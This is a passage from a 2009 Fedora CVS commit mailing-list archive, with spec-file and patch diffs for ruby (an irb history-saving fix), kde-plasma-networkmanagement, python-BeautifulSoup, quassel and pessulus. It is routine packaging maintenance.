-	  if hf = IRB.conf[:HISTORY_FILE]
-	    file = File.expand_path(hf)
-	  end
-	  file = IRB.rc_file("_history") unless file
-	  open(file, 'w' ) do |f|
-	    hist = HISTORY.to_a
-	    f.puts(hist[-num..-1] || hist)
-	  end
-	end
-      end
-    end
+#     def HistorySavingAbility.create_finalizer
+#       proc do
+# 	if num = IRB.conf[:SAVE_HISTORY] and (num = num.to_i) > 0
+# 	  if hf = IRB.conf[:HISTORY_FILE]
+# 	    file = File.expand_path(hf)
+# 	  end
+# 	  file = IRB.rc_file("_history") unless file
+# 	  open(file, 'w' ) do |f|
+# 	    hist = HISTORY.to_a
+# 	    f.puts(hist[-num..-1] || hist)
+# 	  end
+# 	end
+#       end
+#     end
 
     def HistorySavingAbility.extended(obj)
-      ObjectSpace.define_finalizer(obj, HistorySavingAbility.create_finalizer)
+#      ObjectSpace.define_finalizer(obj, HistorySavingAbility.create_finalizer)
+      IRB.conf[:AT_EXIT].push proc{obj.save_history}
       obj.load_history
       obj
     end
@@ -80,6 +81,19 @@
 	end
       end
     end
+
+    def save_history
+      if num = IRB.conf[:SAVE_HISTORY] and (num = num.to_i) > 0
+	if history_file = IRB.conf[:HISTORY_FILE]
+	  history_file = File.expand_path(history_file)
+	end
+	history_file = IRB.rc_file("_history") unless history_file
+	open(history_file, 'w' ) do |f|
+	  hist = HISTORY.to_a
+	  f.puts(hist[-num..-1] || hist)
+	end
+      end
+    end
   end
 end
 
Index: lib/irb/init.rb
===================================================================
--- lib/irb/init.rb	(revision 24225)
+++ lib/irb/init.rb	(revision 24254)
@@ -114,6 +114,8 @@
 #    @CONF[:LC_MESSAGES] = "en"
     @CONF[:LC_MESSAGES] = Locale.new
     
+    @CONF[:AT_EXIT] = []
+    
     @CONF[:DEBUG_LEVEL] = 1
   end
 
Index: lib/irb.rb
===================================================================
--- lib/irb.rb	(revision 24225)
+++ lib/irb.rb	(revision 24254)
@@ -65,13 +65,21 @@
     trap("SIGINT") do
       irb.signal_handle
     end
-    
-    catch(:IRB_EXIT) do
-      irb.eval_input
+
+    begin
+      catch(:IRB_EXIT) do
+	irb.eval_input
+      end
+    ensure
+      irb_at_exit
     end
 #    print "\n"
   end
 
+  def IRB.irb_at_exit
+    @CONF[:AT_EXIT].each{|hook| hook.call}
+  end
+
   def IRB.irb_exit(irb, ret)
     throw :IRB_EXIT, ret
   end


Index: ruby.spec
===================================================================
RCS file: /cvs/extras/rpms/ruby/F-12/ruby.spec,v
retrieving revision 1.142
retrieving revision 1.143
diff -u -p -r1.142 -r1.143
--- ruby.spec	23 Oct 2009 17:25:53 -0000	1.142
+++ ruby.spec	25 Oct 2009 15:08:28 -0000	1.143
@@ -16,7 +16,7 @@
 
 Name:		ruby
 Version:	%{rubyver}%{?dotpatchlevel}
-Release:	2%{?dist}
+Release:	3%{?dist}
 License:	Ruby or GPLv2
 URL:		http://www.ruby-lang.org/
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -51,6 +51,8 @@ Patch28:        ruby-1.8.6-p287-remove-s
 Patch29:	ruby-always-use-i386.patch
 Patch30:	ruby-openssl-1.0.patch
 Patch31:	ruby-1.8.6-p369-ri-gem_multipath.patch
+# Patch from ruby_1_8 branch
+Patch32:	ruby-1.8head-irb-save-history.patch
 
 Summary:	An interpreter of object-oriented scripting language
 Group:		Development/Languages
@@ -182,6 +184,7 @@ pushd %{name}-%{arcver}
 %patch29 -p1
 %patch30 -p2
 %patch31 -p1
+%patch32 -p0
 popd
 
 %build
@@ -548,6 +551,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_emacs_sitestartdir}/ruby-mode-init.el
 
 %changelog
+* Sun Oct 25 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.8.6.383-3
+- Patch so that irb saves its history (bug 518584, ruby issue 1556)
+
 * Sat Oct 24 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.8.6.383-2
 - Update to 1.8.6 patchlevel 383 (bug 520063)
 



From mtasaka at fedoraproject.org  Sun Oct 25 15:16:50 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Sun, 25 Oct 2009 15:16:50 +0000 (UTC)
Subject: rpms/ruby/F-11 ruby-1.8head-irb-save-history.patch, NONE,
	1.1 ruby.spec, 1.140, 1.141
Message-ID: <20091025151650.8D63111C00E5@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/ruby/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1966

Modified Files:
	ruby.spec 
Added Files:
	ruby-1.8head-irb-save-history.patch 
Log Message:
* Sun Oct 25 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.8.6.383-3
- Patch so that irb saves its history (bug 518584, ruby issue 1556)


ruby-1.8head-irb-save-history.patch:
 irb.rb                  |   14 +++++++++++---
 irb/ext/save-history.rb |   44 +++++++++++++++++++++++++++++---------------
 irb/init.rb             |    2 ++
 3 files changed, 42 insertions(+), 18 deletions(-)

--- NEW FILE ruby-1.8head-irb-save-history.patch ---
Thu Jul 23 15:04:20 2009  Keiju Ishitsuka  <keiju at ruby-lang.org>

ruby* lib/irb.rb, lib/irb/init.rb, lib/irb/ext/save-history.rb: add
ruby  IRB::irb_at_exit. no use finalizer saving history. [ruby-dev-38563]

Index: lib/irb/ext/save-history.rb
===================================================================
--- lib/irb/ext/save-history.rb	(revision 24225)
+++ lib/irb/ext/save-history.rb	(revision 24254)
@@ -50,23 +50,24 @@
   module HistorySavingAbility
     include Readline
 
-    def HistorySavingAbility.create_finalizer
-      proc do
-	if num = IRB.conf[:SAVE_HISTORY] and (num = num.to_i) > 0
-	  if hf = IRB.conf[:HISTORY_FILE]
-	    file = File.expand_path(hf)
-	  end
-	  file = IRB.rc_file("_history") unless file
-	  open(file, 'w' ) do |f|
-	    hist = HISTORY.to_a
-	    f.puts(hist[-num..-1] || hist)
-	  end
-	end
-      end
-    end
+#     def HistorySavingAbility.create_finalizer
+#       proc do
+# 	if num = IRB.conf[:SAVE_HISTORY] and (num = num.to_i) > 0
+# 	  if hf = IRB.conf[:HISTORY_FILE]
+# 	    file = File.expand_path(hf)
+# 	  end
+# 	  file = IRB.rc_file("_history") unless file
+# 	  open(file, 'w' ) do |f|
+# 	    hist = HISTORY.to_a
+# 	    f.puts(hist[-num..-1] || hist)
+# 	  end
+# 	end
+#       end
+#     end
 
     def HistorySavingAbility.extended(obj)
-      ObjectSpace.define_finalizer(obj, HistorySavingAbility.create_finalizer)
+#      ObjectSpace.define_finalizer(obj, HistorySavingAbility.create_finalizer)
+      IRB.conf[:AT_EXIT].push proc{obj.save_history}
       obj.load_history
       obj
     end
@@ -80,6 +81,19 @@
 	end
       end
     end
+
+    def save_history
+      if num = IRB.conf[:SAVE_HISTORY] and (num = num.to_i) > 0
+	if history_file = IRB.conf[:HISTORY_FILE]
+	  history_file = File.expand_path(history_file)
+	end
+	history_file = IRB.rc_file("_history") unless history_file
+	open(history_file, 'w' ) do |f|
+	  hist = HISTORY.to_a
+	  f.puts(hist[-num..-1] || hist)
+	end
+      end
+    end
   end
 end
 
Index: lib/irb/init.rb
===================================================================
--- lib/irb/init.rb	(revision 24225)
+++ lib/irb/init.rb	(revision 24254)
@@ -114,6 +114,8 @@
 #    @CONF[:LC_MESSAGES] = "en"
     @CONF[:LC_MESSAGES] = Locale.new
     
+    @CONF[:AT_EXIT] = []
+    
     @CONF[:DEBUG_LEVEL] = 1
   end
 
Index: lib/irb.rb
===================================================================
--- lib/irb.rb	(revision 24225)
+++ lib/irb.rb	(revision 24254)
@@ -65,13 +65,21 @@
     trap("SIGINT") do
       irb.signal_handle
     end
-    
-    catch(:IRB_EXIT) do
-      irb.eval_input
+
+    begin
+      catch(:IRB_EXIT) do
+	irb.eval_input
+      end
+    ensure
+      irb_at_exit
     end
 #    print "\n"
   end
 
+  def IRB.irb_at_exit
+    @CONF[:AT_EXIT].each{|hook| hook.call}
+  end
+
   def IRB.irb_exit(irb, ret)
     throw :IRB_EXIT, ret
   end


Index: ruby.spec
===================================================================
RCS file: /cvs/extras/rpms/ruby/F-11/ruby.spec,v
retrieving revision 1.140
retrieving revision 1.141
diff -u -p -r1.140 -r1.141
--- ruby.spec	23 Oct 2009 17:37:43 -0000	1.140
+++ ruby.spec	25 Oct 2009 15:16:49 -0000	1.141
@@ -16,7 +16,7 @@
 
 Name:		ruby
 Version:	%{rubyver}%{?dotpatchlevel}
-Release:	2%{?dist}
+Release:	3%{?dist}
 License:	Ruby or GPLv2
 URL:		http://www.ruby-lang.org/
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -45,6 +45,8 @@ Patch27:        ruby-1.8.6-p287-CVE-2008
 Patch28:        ruby-1.8.6-p287-remove-ssl-rand-range.patch
 Patch29:	ruby-always-use-i386.patch
 Patch31:	ruby-1.8.6-p369-ri-gem_multipath.patch
+# Patch from ruby_1_8 branch
+Patch32:	ruby-1.8head-irb-save-history.patch
 
 Summary:	An interpreter of object-oriented scripting language
 Group:		Development/Languages
@@ -175,6 +177,7 @@ pushd %{name}-%{arcver}
 %patch28 -p1
 %patch29 -p1
 %patch31 -p1
+%patch32 -p0
 popd
 
 %build
@@ -537,6 +540,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_emacs_sitestartdir}/ruby-mode-init.el
 
 %changelog
+* Sun Oct 25 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.8.6.383-3
+- Patch so that irb saves its history (bug 518584, ruby issue 1556)
+
 * Sat Oct 24 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.8.6.383-2
 - Restore the previous changes
 



From mathstuf at fedoraproject.org  Sun Oct 25 15:31:31 2009
From: mathstuf at fedoraproject.org (Ben Boeckel)
Date: Sun, 25 Oct 2009 15:31:31 +0000 (UTC)
Subject: rpms/kde-plasma-networkmanagement/devel
	kde-plasma-networkmanagement.spec, 1.22,
	1.23 kde-plasma-networkmanagement-0.9-desktop.patch, 1.1, NONE
Message-ID: <20091025153131.898ED11C029B@cvs1.fedora.phx.redhat.com>

Author: mathstuf

Update of /cvs/pkgs/rpms/kde-plasma-networkmanagement/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6590

Modified Files:
	kde-plasma-networkmanagement.spec 
Removed Files:
	kde-plasma-networkmanagement-0.9-desktop.patch 
Log Message:
Update snapshot


Index: kde-plasma-networkmanagement.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kde-plasma-networkmanagement/devel/kde-plasma-networkmanagement.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- kde-plasma-networkmanagement.spec	25 Oct 2009 08:01:44 -0000	1.22
+++ kde-plasma-networkmanagement.spec	25 Oct 2009 15:31:30 -0000	1.23
@@ -16,7 +16,7 @@ Name:           kde-plasma-networkmanage
 # to be a higher, natural upgrade from F-10's knetworkmanager-0.7
 Epoch:          1
 Version:        0.9
-Release:        0.4.20090930svn%{?dist}
+Release:        0.5.20090924svn%{?dist}
 Summary:        NetworkManager KDE 4 integration
 
 Group:          Applications/Internet
@@ -26,11 +26,9 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 
 # The source for this package was pulled from upstream's vcs.  Use the
 # following commands to generate the tarball:
-#  svn export -r 1029690 svn://anonsvn.kde.org/home/kde/trunk/playground/base/plasma/applets/networkmanager kde-plasma-networkmanagement-0.9
+#  svn export -r 1039698 svn://anonsvn.kde.org/home/kde/trunk/playground/base/plasma/applets/networkmanager kde-plasma-networkmanagement-0.9
 #  tar -c kde-plasma-networkmanagement-0.9 | bzip2 --best -c > kde-plasma-networkmanagement-0.9.tar.bz2
 Source0:        %{name}-%{version}.tar.bz2
-# Patch to get .desktop files validated
-Patch0:         %{name}-%{version}-desktop.patch
 
 BuildRequires:  kdelibs-experimental-devel
 BuildRequires:  kdebase-workspace-devel >= 4.3.0
@@ -106,7 +104,6 @@ Obsoletes:      knetworkmanager4-vpnc < 
 
 %prep
 %setup -q
-%patch0 -p1 -b .desktop
 
 
 %build
@@ -203,6 +200,9 @@ gtk-update-icon-cache %{_kde4_iconsdir}/
 
 
 %changelog
+* Sun Oct 25 2009 Ben Boeckel <MathStuf at gmail.com> 1:0.9-0.5.20091024svn
+- New snapshot
+
 * Sun Oct 25 2009 Kevin Kofler <Kevin at tigcc.ticalc.org>  1:0.9-0.4.20090930svn
 - Build as knetworkmanager4 for F10 so KDE 3 KNM users are not forced to upgrade
 - Obsolete knetworkmanager4 (and keep replacing the KDE 3 KNM) on F11+


--- kde-plasma-networkmanagement-0.9-desktop.patch DELETED ---



From kwizart at fedoraproject.org  Sun Oct 25 15:35:40 2009
From: kwizart at fedoraproject.org (Nicolas Chauvet)
Date: Sun, 25 Oct 2009 15:35:40 +0000 (UTC)
Subject: rpms/python-BeautifulSoup/devel python-BeautifulSoup.spec, 1.16,
	1.17
Message-ID: <20091025153540.74D4311C00E5@cvs1.fedora.phx.redhat.com>

Author: kwizart

Update of /cvs/pkgs/rpms/python-BeautifulSoup/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7830/devel

Modified Files:
	python-BeautifulSoup.spec 
Log Message:
Fix rhbz#530472



Index: python-BeautifulSoup.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-BeautifulSoup/devel/python-BeautifulSoup.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- python-BeautifulSoup.spec	26 Jul 2009 20:01:14 -0000	1.16
+++ python-BeautifulSoup.spec	25 Oct 2009 15:35:39 -0000	1.17
@@ -69,7 +69,7 @@ rm -rf $RPM_BUILD_ROOT
 %doc COPYING
 %{python_sitelib}/%{oname}.py*
 %exclude %{python_sitelib}/%{oname}Tests.py*
-%if 0%{?fedora} >= 9
+%if 0%{?fedora} >= 9 || 0%{?rhel} >= 6
 %{python_sitelib}/%{oname}-%{version}-py%{pyver}.egg-info
 %endif
 



From kwizart at fedoraproject.org  Sun Oct 25 15:35:40 2009
From: kwizart at fedoraproject.org (Nicolas Chauvet)
Date: Sun, 25 Oct 2009 15:35:40 +0000 (UTC)
Subject: rpms/python-BeautifulSoup/F-12 python-BeautifulSoup.spec,1.16,1.17
Message-ID: <20091025153540.ACB9211C00E5@cvs1.fedora.phx.redhat.com>

Author: kwizart

Update of /cvs/pkgs/rpms/python-BeautifulSoup/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7830/F-12

Modified Files:
	python-BeautifulSoup.spec 
Log Message:
Fix rhbz#530472



Index: python-BeautifulSoup.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-BeautifulSoup/F-12/python-BeautifulSoup.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- python-BeautifulSoup.spec	26 Jul 2009 20:01:14 -0000	1.16
+++ python-BeautifulSoup.spec	25 Oct 2009 15:35:40 -0000	1.17
@@ -69,7 +69,7 @@ rm -rf $RPM_BUILD_ROOT
 %doc COPYING
 %{python_sitelib}/%{oname}.py*
 %exclude %{python_sitelib}/%{oname}Tests.py*
-%if 0%{?fedora} >= 9
+%if 0%{?fedora} >= 9 || 0%{?rhel} >= 6
 %{python_sitelib}/%{oname}-%{version}-py%{pyver}.egg-info
 %endif
 



From tuxbrewr at fedoraproject.org  Sun Oct 25 15:41:58 2009
From: tuxbrewr at fedoraproject.org (Steven M. Parrish)
Date: Sun, 25 Oct 2009 15:41:58 +0000 (UTC)
Subject: rpms/quassel/devel .cvsignore, 1.9, 1.10 quassel.spec, 1.13,
	1.14 sources, 1.9, 1.10
Message-ID: <20091025154159.05A4111C00E5@cvs1.fedora.phx.redhat.com>

Author: tuxbrewr

Update of /cvs/pkgs/rpms/quassel/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9721

Modified Files:
	.cvsignore quassel.spec sources 
Log Message:
Official 0.5.0 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/quassel/devel/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	4 Sep 2009 12:43:29 -0000	1.9
+++ .cvsignore	25 Oct 2009 15:41:58 -0000	1.10
@@ -1 +1 @@
-quassel-0.5-rc1.tar.bz2
+quassel-0.5.0.tar.bz2


Index: quassel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/quassel/devel/quassel.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- quassel.spec	4 Sep 2009 12:43:29 -0000	1.13
+++ quassel.spec	25 Oct 2009 15:41:58 -0000	1.14
@@ -1,12 +1,12 @@
 Name:    quassel
 Summary: A modern distrubuted IRC system
-Version: 0.5
-Release: 0.1.rc1%{?dist}
+Version: 0.5.0
+Release: 1%{?dist}
 
 License: GPLv2 or GPLv3
 Group:	 Applications/Internet
 URL:     http://quassel-irc.org/
-Source0: http://quassel-irc.org/system/files/quassel-%{version}-rc1.tar.bz2
+Source0: http://quassel-irc.org/system/files/quassel-%{version}.tar.bz2
 Source1: %{name}.desktop
 Source2: %{name}core.desktop
 Source3: %{name}client.desktop
@@ -39,7 +39,7 @@ Group: Applications/Internet
 Quassel client 
 
 %prep
-%setup -q -n quassel-0.5-rc1
+%setup -q -n quassel-0.5.0
 
 %build
 
@@ -108,6 +108,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{_kde4_datadir}/applications/kde4/quasselclient.desktop
 
 %changelog
+* Fri Oct 23 2009 Steven M. Parrish <smparrish at gmail.com> - 0.5.0-1
+- Official 0.5.0 release
+
 * Thu Sep 03 2009 Steven M. Parrish <smparrish at gmail.com> - 0.5-0.1.rc1
 - New release candidate
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/quassel/devel/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	4 Sep 2009 12:43:29 -0000	1.9
+++ sources	25 Oct 2009 15:41:58 -0000	1.10
@@ -1 +1 @@
-472408317a0e99d659ee10a2a6c9e1bf  quassel-0.5-rc1.tar.bz2
+525b24c2549069970b853dfdcbb6bb65  quassel-0.5.0.tar.bz2



From hguemar at fedoraproject.org  Sun Oct 25 15:44:10 2009
From: hguemar at fedoraproject.org (=?utf-8?b?SGHDr2tlbCBHdcOpbWFy?=)
Date: Sun, 25 Oct 2009 15:44:10 +0000 (UTC)
Subject: rpms/pessulus/F-12 .cvsignore, 1.11, 1.12 pessulus.spec, 1.22,
	1.23 sources, 1.11, 1.12
Message-ID: <20091025154410.6D19F11C00E5@cvs1.fedora.phx.redhat.com>

Author: hguemar

Update of /cvs/extras/rpms/pessulus/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10255

Modified Files:
	.cvsignore pessulus.spec sources 
Log Message:
Updated to 2.28


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/pessulus/F-12/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	14 Sep 2009 11:11:27 -0000	1.11
+++ .cvsignore	25 Oct 2009 15:44:09 -0000	1.12
@@ -1 +1 @@
-pessulus-2.27.92.tar.bz2
+pessulus-2.28.0.tar.bz2


Index: pessulus.spec
===================================================================
RCS file: /cvs/extras/rpms/pessulus/F-12/pessulus.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- pessulus.spec	14 Sep 2009 11:11:27 -0000	1.22
+++ pessulus.spec	25 Oct 2009 15:44:10 -0000	1.23
@@ -1,8 +1,8 @@
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
-%define basever 2.27
+%define basever 2.28
 
 Name:           pessulus
-Version:        %{basever}.92
+Version:        %{basever}.0
 Release:        1%{?dist}
 Summary:        A lockdown editor for GNOME
 
@@ -80,6 +80,9 @@ fi
 %{_datadir}/icons/hicolor/*/apps/pessulus.*
 
 %changelog
+* Sun Sep 25 2009 Ha?kel Gu?mar <karlthered at gmail.com> - 2.28.0-1
+- Updated to 2.28.0
+
 * Mon Sep 14 2009 Ha?kel Gu?mar <karlthered at gmail.com> - 2.27.92-1
 - Updated to 2.27.92
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/pessulus/F-12/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	14 Sep 2009 11:11:27 -0000	1.11
+++ sources	25 Oct 2009 15:44:10 -0000	1.12
@@ -1 +1 @@
-88ed22b15f851ef59e3340294c4f1cc0  pessulus-2.27.92.tar.bz2
+792485aac615a8f36f7d77bc06a40036  pessulus-2.28.0.tar.bz2



From mathstuf at fedoraproject.org  Sun Oct 25 15:45:44 2009
From: mathstuf at fedoraproject.org (Ben Boeckel)
Date: Sun, 25 Oct 2009 15:45:44 +0000 (UTC)
Subject: rpms/kde-plasma-networkmanagement/devel
	kde-plasma-networkmanagement.spec, 1.23, 1.24 sources, 1.12, 1.13
Message-ID: <20091025154545.13FC511C00E5@cvs1.fedora.phx.redhat.com>

Author: mathstuf

Update of /cvs/pkgs/rpms/kde-plasma-networkmanagement/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10720

Modified Files:
	kde-plasma-networkmanagement.spec sources 
Log Message:
Forgot to upload new sources


Index: kde-plasma-networkmanagement.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kde-plasma-networkmanagement/devel/kde-plasma-networkmanagement.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- kde-plasma-networkmanagement.spec	25 Oct 2009 15:31:30 -0000	1.23
+++ kde-plasma-networkmanagement.spec	25 Oct 2009 15:45:42 -0000	1.24
@@ -16,7 +16,7 @@ Name:           kde-plasma-networkmanage
 # to be a higher, natural upgrade from F-10's knetworkmanager-0.7
 Epoch:          1
 Version:        0.9
-Release:        0.5.20090924svn%{?dist}
+Release:        0.6.20090924svn%{?dist}
 Summary:        NetworkManager KDE 4 integration
 
 Group:          Applications/Internet
@@ -200,6 +200,9 @@ gtk-update-icon-cache %{_kde4_iconsdir}/
 
 
 %changelog
+* Sun Oct 25 2009 Ben Boeckel <MathStuf at gmail.com> 1:0.9-0.6.20091024svn
+- Rebuild with new sources
+
 * Sun Oct 25 2009 Ben Boeckel <MathStuf at gmail.com> 1:0.9-0.5.20091024svn
 - New snapshot
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kde-plasma-networkmanagement/devel/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	30 Sep 2009 15:27:43 -0000	1.12
+++ sources	25 Oct 2009 15:45:43 -0000	1.13
@@ -1 +1 @@
-445ca659ff85fb90741ba3642e683728  kde-plasma-networkmanagement-0.9.tar.bz2
+9f70db4f66c5bcc811fecce08d3b1e4d  kde-plasma-networkmanagement-0.9.tar.bz2



From mathstuf at fedoraproject.org  Sun Oct 25 15:51:09 2009
From: mathstuf at fedoraproject.org (Ben Boeckel)
Date: Sun, 25 Oct 2009 15:51:09 +0000 (UTC)
Subject: rpms/kde-plasma-networkmanagement/F-12
	kde-plasma-networkmanagement.spec, 1.22, 1.23 sources, 1.12,
	1.13 kde-plasma-networkmanagement-0.9-desktop.patch, 1.1, NONE
Message-ID: <20091025155110.701DD11C02BB@cvs1.fedora.phx.redhat.com>

Author: mathstuf

Update of /cvs/pkgs/rpms/kde-plasma-networkmanagement/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12152

Modified Files:
	kde-plasma-networkmanagement.spec sources 
Removed Files:
	kde-plasma-networkmanagement-0.9-desktop.patch 
Log Message:
Update snapshot


Index: kde-plasma-networkmanagement.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kde-plasma-networkmanagement/F-12/kde-plasma-networkmanagement.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- kde-plasma-networkmanagement.spec	25 Oct 2009 08:03:25 -0000	1.22
+++ kde-plasma-networkmanagement.spec	25 Oct 2009 15:51:01 -0000	1.23
@@ -16,7 +16,7 @@ Name:           kde-plasma-networkmanage
 # to be a higher, natural upgrade from F-10's knetworkmanager-0.7
 Epoch:          1
 Version:        0.9
-Release:        0.4.20090930svn%{?dist}
+Release:        0.6.20090924svn%{?dist}
 Summary:        NetworkManager KDE 4 integration
 
 Group:          Applications/Internet
@@ -26,11 +26,9 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 
 # The source for this package was pulled from upstream's vcs.  Use the
 # following commands to generate the tarball:
-#  svn export -r 1029690 svn://anonsvn.kde.org/home/kde/trunk/playground/base/plasma/applets/networkmanager kde-plasma-networkmanagement-0.9
+#  svn export -r 1039698 svn://anonsvn.kde.org/home/kde/trunk/playground/base/plasma/applets/networkmanager kde-plasma-networkmanagement-0.9
 #  tar -c kde-plasma-networkmanagement-0.9 | bzip2 --best -c > kde-plasma-networkmanagement-0.9.tar.bz2
 Source0:        %{name}-%{version}.tar.bz2
-# Patch to get .desktop files validated
-Patch0:         %{name}-%{version}-desktop.patch
 
 BuildRequires:  kdelibs-experimental-devel
 BuildRequires:  kdebase-workspace-devel >= 4.3.0
@@ -106,7 +104,6 @@ Obsoletes:      knetworkmanager4-vpnc < 
 
 %prep
 %setup -q
-%patch0 -p1 -b .desktop
 
 
 %build
@@ -203,6 +200,12 @@ gtk-update-icon-cache %{_kde4_iconsdir}/
 
 
 %changelog
+* Sun Oct 25 2009 Ben Boeckel <MathStuf at gmail.com> 1:0.9-0.6.20091024svn
+- Rebuild with new sources
+
+* Sun Oct 25 2009 Ben Boeckel <MathStuf at gmail.com> 1:0.9-0.5.20091024svn
+- New snapshot
+
 * Sun Oct 25 2009 Kevin Kofler <Kevin at tigcc.ticalc.org>  1:0.9-0.4.20090930svn
 - Build as knetworkmanager4 for F10 so KDE 3 KNM users are not forced to upgrade
 - Obsolete knetworkmanager4 (and keep replacing the KDE 3 KNM) on F11+


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kde-plasma-networkmanagement/F-12/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	30 Sep 2009 15:38:37 -0000	1.12
+++ sources	25 Oct 2009 15:51:01 -0000	1.13
@@ -1 +1 @@
-445ca659ff85fb90741ba3642e683728  kde-plasma-networkmanagement-0.9.tar.bz2
+9f70db4f66c5bcc811fecce08d3b1e4d  kde-plasma-networkmanagement-0.9.tar.bz2


--- kde-plasma-networkmanagement-0.9-desktop.patch DELETED ---



From mathstuf at fedoraproject.org  Sun Oct 25 15:59:24 2009
From: mathstuf at fedoraproject.org (Ben Boeckel)
Date: Sun, 25 Oct 2009 15:59:24 +0000 (UTC)
Subject: rpms/kde-plasma-networkmanagement/devel
	kde-plasma-networkmanagement.spec, 1.24, 1.25
Message-ID: <20091025155924.52C1411C00E5@cvs1.fedora.phx.redhat.com>

Author: mathstuf

Update of /cvs/pkgs/rpms/kde-plasma-networkmanagement/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16178

Modified Files:
	kde-plasma-networkmanagement.spec 
Log Message:
Fix actual release date


Index: kde-plasma-networkmanagement.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kde-plasma-networkmanagement/devel/kde-plasma-networkmanagement.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- kde-plasma-networkmanagement.spec	25 Oct 2009 15:45:42 -0000	1.24
+++ kde-plasma-networkmanagement.spec	25 Oct 2009 15:59:24 -0000	1.25
@@ -16,7 +16,7 @@ Name:           kde-plasma-networkmanage
 # to be a higher, natural upgrade from F-10's knetworkmanager-0.7
 Epoch:          1
 Version:        0.9
-Release:        0.6.20090924svn%{?dist}
+Release:        0.6.20091024svn%{?dist}
 Summary:        NetworkManager KDE 4 integration
 
 Group:          Applications/Internet



From hguemar at fedoraproject.org  Sun Oct 25 16:03:24 2009
From: hguemar at fedoraproject.org (=?utf-8?b?SGHDr2tlbCBHdcOpbWFy?=)
Date: Sun, 25 Oct 2009 16:03:24 +0000 (UTC)
Subject: rpms/pessulus/devel pessulus.spec,1.22,1.23 sources,1.11,1.12
Message-ID: <20091025160324.AA6AC11C00E5@cvs1.fedora.phx.redhat.com>

Author: hguemar

Update of /cvs/extras/rpms/pessulus/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17043

Modified Files:
	pessulus.spec sources 
Log Message:
Updated to 2.28


Index: pessulus.spec
===================================================================
RCS file: /cvs/extras/rpms/pessulus/devel/pessulus.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- pessulus.spec	14 Sep 2009 11:11:27 -0000	1.22
+++ pessulus.spec	25 Oct 2009 16:03:24 -0000	1.23
@@ -1,8 +1,8 @@
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
-%define basever 2.27
+%define basever 2.28
 
 Name:           pessulus
-Version:        %{basever}.92
+Version:        %{basever}.0
 Release:        1%{?dist}
 Summary:        A lockdown editor for GNOME
 
@@ -80,6 +80,9 @@ fi
 %{_datadir}/icons/hicolor/*/apps/pessulus.*
 
 %changelog
+* Sun Sep 25 2009 Ha?kel Gu?mar <karlthered at gmail.com> - 2.28.0-1
+- Updated to 2.28.0
+
 * Mon Sep 14 2009 Ha?kel Gu?mar <karlthered at gmail.com> - 2.27.92-1
 - Updated to 2.27.92
 


Index: sources
